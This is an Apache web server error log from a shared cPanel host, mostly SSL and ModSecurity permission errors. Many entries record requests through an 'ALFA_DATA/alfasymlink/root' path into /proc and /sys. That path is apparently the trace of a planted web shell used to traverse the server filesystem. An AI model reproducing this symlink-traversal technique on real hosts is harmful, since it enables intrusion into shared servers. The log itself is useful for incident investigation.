[Mon Oct 26 11:51:14.277706 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 34.195.60.66:59973] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:51:35.897274 2026] [security2:error] [pid 3052563:tid 3052563] [client 107.172.76.131:54995] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at92_BD8ps0KDjAKLrNKCQAAAAc"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 11:51:35.897333 2026] [security2:error] [pid 3052563:tid 3052563] [client 107.172.76.131:54995] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at92_BD8ps0KDjAKLrNKCQAAAAc"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 11:51:38.157618 2026] [ssl:error] [pid 3052688:tid 3052688] (70014)End of file found: [client 23.22.105.143:30538] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:51:42.162110 2026] [ssl:error] [pid 3058832:tid 3058832] (5)Input/output error: [client 52.6.232.201:10805] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:51:46.340634 2026] [ssl:error] [pid 3044281:tid 3044281] (70014)End of file found: [client 3.219.80.71:57787] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:52:02.279308 2026] [ssl:error] [pid 3045151:tid 3045151] (70014)End of file found: [client 3.211.181.86:10720] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:52:14.156571 2026] [ssl:error] [pid 3055419:tid 3055419] (70014)End of file found: [client 52.2.58.41:2961] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:52:18.173247 2026] [ssl:error] [pid 3048989:tid 3048989] (70014)End of file found: [client 54.162.69.192:53241] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:52:26.166310 2026] [ssl:error] [pid 3044303:tid 3044303] (70014)End of file found: [client 52.203.152.231:19730] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:52:42.211992 2026] [ssl:error] [pid 3044312:tid 3044312] (70014)End of file found: [client 52.3.156.186:46292] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:52:53.698103 2026] [core:error] [pid 3058833:tid 3058833] (13)Permission denied: [client 85.208.96.209:10286] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_data/hwcache_align
[Mon Oct 26 11:53:02.154916 2026] [ssl:error] [pid 3044312:tid 3044312] (70014)End of file found: [client 3.81.253.213:63801] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:53:19.132466 2026] [autoindex:error] [pid 3048988:tid 3048988] (13)Permission denied: [client 85.208.96.211:61702] AH01275: Can't open directory for index: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/var/cpanel/
[Mon Oct 26 11:53:34.160977 2026] [ssl:error] [pid 3048988:tid 3048988] (70014)End of file found: [client 34.194.95.99:4992] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:53:42.190575 2026] [ssl:error] [pid 3048989:tid 3048989] (70014)End of file found: [client 18.232.12.157:45496] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:53:54.144900 2026] [ssl:error] [pid 3045151:tid 3045151] (70014)End of file found: [client 52.1.157.90:1827] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:53:55.787146 2026] [security2:error] [pid 3044299:tid 3044299] [client 107.172.76.131:55100] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at93hwWgOHT1_mp01Jul1gAAAD0"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 11:53:55.787189 2026] [security2:error] [pid 3044299:tid 3044299] [client 107.172.76.131:55100] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at93hwWgOHT1_mp01Jul1gAAAD0"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 11:53:58.132296 2026] [ssl:error] [pid 3044312:tid 3044312] (22)Invalid argument: [client 18.206.47.187:57173] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:54:03.413151 2026] [core:error] [pid 3058816:tid 3058816] (13)Permission denied: [client 85.208.96.193:54100] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/drm/sections/__param
[Mon Oct 26 11:54:10.135457 2026] [ssl:error] [pid 3045151:tid 3045151] (70014)End of file found: [client 44.212.232.231:51050] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:54:30.158471 2026] [ssl:error] [pid 3044303:tid 3044303] (70014)End of file found: [client 54.204.62.163:48225] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:54:46.133144 2026] [ssl:error] [pid 3045151:tid 3045151] (70014)End of file found: [client 3.209.174.110:63697] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:54:58.287998 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 3.216.227.216:1357] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:55:02.136468 2026] [ssl:error] [pid 3050354:tid 3050354] (22)Invalid argument: [client 34.204.150.196:31977] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:55:04.936353 2026] [core:error] [pid 3048988:tid 3048988] (13)Permission denied: [client 185.191.171.1:41050] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-64/poison
[Mon Oct 26 11:55:06.134591 2026] [ssl:error] [pid 3058833:tid 3058833] (70014)End of file found: [client 34.231.156.59:4253] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:55:14.171952 2026] [ssl:error] [pid 3050354:tid 3050354] (70014)End of file found: [client 54.84.250.51:41332] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:55:18.182370 2026] [ssl:error] [pid 3048988:tid 3048988] (70014)End of file found: [client 54.163.169.168:57627] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:55:22.378459 2026] [ssl:error] [pid 3045151:tid 3045151] (70014)End of file found: [client 34.206.212.24:41756] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:55:42.168506 2026] [ssl:error] [pid 3048989:tid 3048989] (70014)End of file found: [client 52.204.71.8:42228] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:55:46.168062 2026] [ssl:error] [pid 3052688:tid 3052688] (70014)End of file found: [client 35.174.141.243:15043] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:55:50.217696 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 52.71.203.206:44493] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:55:58.155210 2026] [ssl:error] [pid 3048989:tid 3048989] (70014)End of file found: [client 18.209.201.119:37658] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:56:10.377531 2026] [ssl:error] [pid 3048988:tid 3048988] (70014)End of file found: [client 98.83.72.38:55198] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:56:18.192588 2026] [core:error] [pid 3045151:tid 3045151] (13)Permission denied: [client 18.232.11.247:22478] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/graphics/fb0/device/subsystem/devices/0000:00:01.2/subsystem/drivers/cirrus/module/sections/__bug_table
[Mon Oct 26 11:56:22.160992 2026] [core:error] [pid 3044303:tid 3044303] (13)Permission denied: [client 44.223.193.255:1912] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/pci_bus/0000:00/device/0000:00:02.0/resource0
[Mon Oct 26 11:56:46.144297 2026] [core:error] [pid 3059506:tid 3059506] (13)Permission denied: [client 52.204.89.12:19695] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:00.0/rescan
[Mon Oct 26 11:56:56.982006 2026] [core:error] [pid 3044303:tid 3044303] (13)Permission denied: [client 85.208.96.206:20212] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf-frags/store_user
[Mon Oct 26 11:57:14.146224 2026] [core:error] [pid 3044303:tid 3044303] (13)Permission denied: [client 18.205.91.101:24201] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/pnp/devices/00:00/driver/00:00/cmos_nvram0/subsystem/uevent
[Mon Oct 26 11:57:18.286787 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 23.23.137.202:18036] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:57:22.148965 2026] [ssl:error] [pid 3058833:tid 3058833] (70014)End of file found: [client 50.19.221.48:3791] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:57:30.157885 2026] [ssl:error] [pid 3048988:tid 3048988] (70014)End of file found: [client 3.218.103.254:58770] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:57:38.126673 2026] [ssl:error] [pid 3044312:tid 3044312] (70014)End of file found: [client 54.89.90.224:52944] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:57:56.124126 2026] [core:error] [pid 3058832:tid 3058832] (13)Permission denied: [client 85.208.96.203:65016] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_free_data/slabs
[Mon Oct 26 11:58:02.258019 2026] [ssl:error] [pid 3058833:tid 3058833] (70014)End of file found: [client 3.219.80.71:59125] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:58:10.171337 2026] [ssl:error] [pid 3058832:tid 3058832] (70014)End of file found: [client 23.22.59.87:28670] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:58:18.299192 2026] [ssl:error] [pid 3058833:tid 3058833] (70014)End of file found: [client 54.197.178.107:3845] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:58:26.156240 2026] [core:error] [pid 3059506:tid 3059506] (13)Permission denied: [client 52.205.141.124:53393] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.3/rescan
[Mon Oct 26 11:58:28.192519 2026] [core:crit] [pid 3057476:tid 3057476] (13)Permission denied: [client 43.154.127.188:60502] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 11:58:34.353575 2026] [ssl:error] [pid 3052688:tid 3052688] (70014)End of file found: [client 34.225.243.131:36041] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:58:38.139479 2026] [ssl:error] [pid 3058833:tid 3058833] (70014)End of file found: [client 52.6.5.24:22559] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:58:42.228513 2026] [ssl:error] [pid 3059506:tid 3059506] (70014)End of file found: [client 44.221.227.90:52697] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:58:50.155358 2026] [ssl:error] [pid 3057476:tid 3057476] (5)Input/output error: [client 18.214.238.178:10280] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:58:58.284428 2026] [ssl:error] [pid 3044303:tid 3044303] (70014)End of file found: [client 52.54.157.23:47511] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:59:02.142905 2026] [ssl:error] [pid 3058833:tid 3058833] (70014)End of file found: [client 35.169.240.53:24929] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:59:18.143260 2026] [ssl:error] [pid 3044312:tid 3044312] (70014)End of file found: [client 3.213.46.222:64798] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:59:20.123843 2026] [security2:error] [pid 3044287:tid 3044287] [client 107.172.76.131:55105] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at94zOB-mimojwsYlvDtbQAAADE"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 11:59:20.123919 2026] [security2:error] [pid 3044287:tid 3044287] [client 107.172.76.131:55105] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at94zOB-mimojwsYlvDtbQAAADE"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 11:59:26.468684 2026] [core:error] [pid 3052342:tid 3052342] (13)Permission denied: [client 44.206.65.8:32526] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/PNP0A03:00/device:02/physical_node/rescan
[Mon Oct 26 12:00:10.132580 2026] [ssl:error] [pid 3058833:tid 3058833] (70014)End of file found: [client 44.193.102.198:44725] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:00:14.148056 2026] [ssl:error] [pid 3057476:tid 3057476] (70014)End of file found: [client 18.232.12.157:4730] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:00:22.145728 2026] [ssl:error] [pid 3050354:tid 3050354] (70014)End of file found: [client 18.209.137.234:16432] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:00:26.172783 2026] [ssl:error] [pid 3044303:tid 3044303] (70014)End of file found: [client 34.235.239.240:24852] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:00:30.226037 2026] [ssl:error] [pid 3059506:tid 3059506] (70014)End of file found: [client 34.195.60.66:57510] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:00:34.141566 2026] [ssl:error] [pid 3052563:tid 3052563] (70014)End of file found: [client 3.213.106.226:65376] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:00:38.168567 2026] [core:error] [pid 3050354:tid 3050354] (13)Permission denied: [client 3.90.73.206:51988] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/subsystem/drivers/xen-platform-pci/remove_id
[Mon Oct 26 12:00:46.263542 2026] [core:error] [pid 3045151:tid 3045151] (13)Permission denied: [client 18.208.11.93:31806] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/driver/unbind
[Mon Oct 26 12:00:50.156440 2026] [core:error] [pid 3055419:tid 3055419] (13)Permission denied: [client 34.202.88.37:54850] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/graphics/fb0/device/subsystem/devices/0000:00:01.2/subsystem/drivers/virtio-pci/0000:00:03.0/driver/0000:00:04.0/rescan
[Mon Oct 26 12:00:54.223330 2026] [ssl:error] [pid 3044287:tid 3044287] (70014)End of file found: [client 98.84.70.201:62031] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:01:02.196036 2026] [ssl:error] [pid 3044281:tid 3044281] (70014)End of file found: [client 54.147.238.89:44139] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:01:06.175279 2026] [ssl:error] [pid 3044287:tid 3044287] (5)Input/output error: [client 23.21.179.27:52968] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:01:10.260500 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 18.233.24.238:62911] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:01:26.144113 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 54.144.185.255:53787] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:01:38.271701 2026] [ssl:error] [pid 3060603:tid 3060603] (70014)End of file found: [client 54.144.185.255:28358] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:01:54.131631 2026] [ssl:error] [pid 3060603:tid 3060603] (70014)End of file found: [client 44.214.19.8:65430] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:02:14.123714 2026] [ssl:error] [pid 3057476:tid 3057476] (70014)End of file found: [client 34.204.150.196:46814] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:02:21.459011 2026] [security2:error] [pid 3044312:tid 3044312] [client 107.172.76.131:55164] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at95gdT_ySsYV2zOlWvAMgAAAEo"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 12:02:21.459064 2026] [security2:error] [pid 3044312:tid 3044312] [client 107.172.76.131:55164] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at95gdT_ySsYV2zOlWvAMgAAAEo"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 12:02:42.139068 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 18.215.112.101:32725] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:02:50.125220 2026] [ssl:error] [pid 3045151:tid 3045151] (70014)End of file found: [client 52.71.216.196:19527] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:03:02.144811 2026] [ssl:error] [pid 3039832:tid 3039832] (22)Invalid argument: [client 44.193.102.198:26708] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:03:06.158024 2026] [ssl:error] [pid 3045151:tid 3045151] (70014)End of file found: [client 44.205.120.22:65423] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:03:09.829864 2026] [core:error] [pid 3060554:tid 3060554] (13)Permission denied: [client 185.191.171.15:10856] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/aliases
[Mon Oct 26 12:03:34.182813 2026] [ssl:error] [pid 3044287:tid 3044287] (70014)End of file found: [client 184.73.68.20:4810] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:03:38.156210 2026] [ssl:error] [pid 3048989:tid 3048989] (70014)End of file found: [client 3.212.205.90:26872] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:03:46.935807 2026] [autoindex:error] [pid 3057476:tid 3057476] (13)Permission denied: [client 185.191.171.4:32712] AH01275: Can't open directory for index: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/sudo/
[Mon Oct 26 12:03:50.282104 2026] [ssl:error] [pid 3060772:tid 3060772] (70014)End of file found: [client 44.223.116.149:53967] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:03:54.190700 2026] [core:error] [pid 3045151:tid 3045151] (13)Permission denied: [client 54.147.238.89:17765] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/drivers/battery/bind
[Mon Oct 26 12:03:58.200285 2026] [ssl:error] [pid 3052688:tid 3052688] (70014)End of file found: [client 54.235.172.96:2333] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:04:06.173757 2026] [ssl:error] [pid 3060554:tid 3060554] (22)Invalid argument: [client 34.225.24.180:24620] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:04:25.197208 2026] [security2:error] [pid 3044312:tid 3044312] [client 107.172.76.131:55164] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at95_dT_ySsYV2zOlWvAOwAAAEo"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 12:04:25.197259 2026] [security2:error] [pid 3044312:tid 3044312] [client 107.172.76.131:55164] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at95_dT_ySsYV2zOlWvAOwAAAEo"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 12:04:26.367988 2026] [ssl:error] [pid 3044281:tid 3044281] (70014)End of file found: [client 44.194.139.149:9182] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:04:26.368190 2026] [security2:error] [pid 3044281:tid 3044281] [client 44.194.139.149:9182] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/memory6/node0/memory9/state"] [unique_id "at96Cq35Sx5rx6P-SwLqAAAAAC8"]
[Mon Oct 26 12:04:26.368219 2026] [security2:error] [pid 3044281:tid 3044281] [client 44.194.139.149:9182] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/memory6/node0/memory9/state"] [unique_id "at96Cq35Sx5rx6P-SwLqAAAAAC8"]
[Mon Oct 26 12:04:34.122209 2026] [ssl:error] [pid 3050354:tid 3050354] (70014)End of file found: [client 34.206.249.188:14425] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:04:42.137281 2026] [ssl:error] [pid 3060554:tid 3060554] (70014)End of file found: [client 54.204.12.115:18868] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:05:06.152191 2026] [ssl:error] [pid 3044303:tid 3044303] (70014)End of file found: [client 54.225.181.161:6655] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:05:22.202123 2026] [core:error] [pid 3044303:tid 3044303] (13)Permission denied: [client 44.223.116.180:31346] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:03.0/subsystem/drivers/xen-platform-pci/uevent
[Mon Oct 26 12:05:23.880541 2026] [core:crit] [pid 3052688:tid 3052688] (13)Permission denied: [client 16.5.0.205:40099] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 12:05:23.882329 2026] [authz_core:error] [pid 3045151:tid 3045151] [client 16.5.0.204:37213] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 12:05:30.208093 2026] [ssl:error] [pid 3050354:tid 3050354] (70014)End of file found: [client 35.169.119.108:15658] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:05:34.253499 2026] [ssl:error] [pid 3045151:tid 3045151] (70014)End of file found: [client 18.232.36.1:54457] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:05:38.438442 2026] [core:error] [pid 3052688:tid 3052688] (13)Permission denied: [client 52.71.216.196:25470] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.2/subsystem/devices/0000:00:04.0/firmware_node/physical_node/remove
[Mon Oct 26 12:05:42.401616 2026] [ssl:error] [pid 3044281:tid 3044281] (70014)End of file found: [client 44.207.207.36:45612] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:05:46.245172 2026] [core:error] [pid 3060604:tid 3060604] (13)Permission denied: [client 34.206.212.24:19731] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/driver/0000:00:03.0/driver/module/drivers/pci:virtio-pci/uevent
[Mon Oct 26 12:06:02.243003 2026] [ssl:error] [pid 3052688:tid 3052688] (70014)End of file found: [client 54.166.104.83:13528] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:06:18.307454 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 52.71.46.142:65236] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:06:22.244415 2026] [core:error] [pid 3044303:tid 3044303] (13)Permission denied: [client 107.20.255.194:20447] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/subsystem/drivers/serial/unbind
[Mon Oct 26 12:06:29.569387 2026] [authz_core:error] [pid 3052688:tid 3052688] [client 94.183.174.99:59144] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 12:06:38.302039 2026] [ssl:error] [pid 3060554:tid 3060554] (70014)End of file found: [client 54.80.73.122:59249] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:06:42.800433 2026] [security2:error] [pid 3044281:tid 3044281] [client 34.236.123.207:31319] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "recursos4.sherwinpinturas.com"] [uri "/index.html"] [unique_id "at96kq35Sx5rx6P-SwLqCAAAAC8"]
[Mon Oct 26 12:06:42.800474 2026] [security2:error] [pid 3044281:tid 3044281] [client 34.236.123.207:31319] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "recursos4.sherwinpinturas.com"] [uri "/index.html"] [unique_id "at96kq35Sx5rx6P-SwLqCAAAAC8"]
[Mon Oct 26 12:06:46.580046 2026] [ssl:error] [pid 3057476:tid 3057476] (70014)End of file found: [client 3.219.81.66:42646] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:06:50.960877 2026] [ssl:error] [pid 3048989:tid 3048989] (70014)End of file found: [client 44.220.2.97:38918] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:07:14.496603 2026] [ssl:error] [pid 3048989:tid 3048989] (70014)End of file found: [client 100.28.44.58:18317] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:07:18.366484 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 18.205.127.11:27053] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:07:30.506572 2026] [ssl:error] [pid 3045151:tid 3045151] (70014)End of file found: [client 3.229.95.193:15427] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:08:06.420082 2026] [ssl:error] [pid 3050354:tid 3050354] (70014)End of file found: [client 54.84.250.51:22361] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:08:46.648950 2026] [ssl:error] [pid 3060603:tid 3060603] (70014)End of file found: [client 54.90.244.132:45632] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:08:50.735928 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 18.204.152.114:36131] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:08:54.917383 2026] [ssl:error] [pid 3050354:tid 3050354] (70014)End of file found: [client 54.235.172.96:54363] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:09:10.565143 2026] [core:error] [pid 3050354:tid 3050354] (13)Permission denied: [client 3.221.222.168:49350] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:08/subsystem/devices/PNP0303:00/physical_node/subsystem/drivers_probe
[Mon Oct 26 12:09:22.800735 2026] [ssl:error] [pid 3048989:tid 3048989] (70014)End of file found: [client 23.21.228.180:43028] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:09:29.428167 2026] [ssl:error] [pid 3060603:tid 3060603] (70014)End of file found: [client 85.208.96.197:61044] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:09:30.680330 2026] [ssl:error] [pid 3044281:tid 3044281] (70014)End of file found: [client 44.205.74.196:59228] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:09:34.679786 2026] [ssl:error] [pid 3052688:tid 3052688] (70014)End of file found: [client 98.82.39.241:15517] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:09:44.460441 2026] [ssl:error] [pid 3050354:tid 3050354] (70014)End of file found: [client 185.191.171.13:59996] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 12:09:44.965516 2026] [ssl:error] [pid 3044281:tid 3044281] (70014)End of file found: [client 185.191.171.13:60000] AH02013: coalesce failed to read from data bucket
